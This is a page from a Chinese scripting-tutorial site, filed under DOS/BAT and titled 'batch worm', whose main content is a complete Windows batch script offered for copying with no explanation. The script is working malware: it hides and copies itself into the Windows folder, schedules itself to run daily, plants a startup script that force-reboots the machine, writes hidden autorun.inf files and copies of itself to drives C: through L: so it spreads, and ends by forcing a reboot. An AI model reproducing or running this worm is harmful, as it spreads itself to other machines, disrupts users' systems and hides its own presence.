当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 批处理蠕虫bat

DOS/BAT
Compact 显示和更改 NTFS 分区上的文件或目录压缩
Del (erase) 删除指定文件
Convert 将 FAT 和 FAT32 卷转换为 NTFS
copy 将一个或多个文件从一个位置复制到其他位置
Country使 MS-DOS 子系统能使用国际时间、日期、货币、大小写转换和小数分隔符
format命令 参数说明
Xcopy 复制文件和目录,包括子目录。
一个命令行(批处理)延迟执行命令的语法
收集21个DOS常用命令
dos、bat批处理延时执行命令的两种方法
CMD下建立虚拟目录的方法
关于批处理中FOR语句的使用说明与学习技巧
以后经常需要知道CMD/DOS下符号的作用参考,正好发现了这篇
由一段批处理程序所引起的探讨感觉问题是有,不太准确
用bat和 reg实现关闭局域网共享
开通局域网共享(访问本机无需验证即可进入的bat和注册表文件
开通局域网共享(访问本机要填用户名和密码)的注册表和批处理
用注册表实现(仅供备用)硬盘各分区的默认共享:关闭
判断U盘已插入并自动COPY所有内容的批处理-U盘自动复制
用批处理列出所有开机启动项的命令

DOS/BAT 中的 批处理蠕虫bat


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 65 ::
收藏到网摘: n/a

复制代码 代码如下:

@echo off
attrib -r -h -s "%~nx0" 2>nul >nul
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul
copy "%~nx0" %windir% /y 2>nul >nul
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0"
echo reboot>%windir%\temp.dll
set pat=「开始」菜单\程序\启动
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo echo reboot^>^>%%windir%%\temp.dll>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo find /c "reboot" %%windir%%\temp.dll^|find "11">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo [autorun]>%windir%\user.dll
echo shellexecute=%~nx0>>%windir%\user.dll
set disk=C:>nul 2>nul
:auto
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul
copy %windir%\user.dll %disk%\autorun.inf /y 2>nul >nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul
:C:
set disk=D:>nul 2>nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
goto auto>nul 2>nul
:G:
set disk=H:>nul 2>nul
goto auto>nul 2>nul
:H:
set disk=I:>nul 2>nul
goto auto>nul 2>nul
:I:
set disk=J:>nul 2>nul
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
shutdown /r /t 0 /f
exit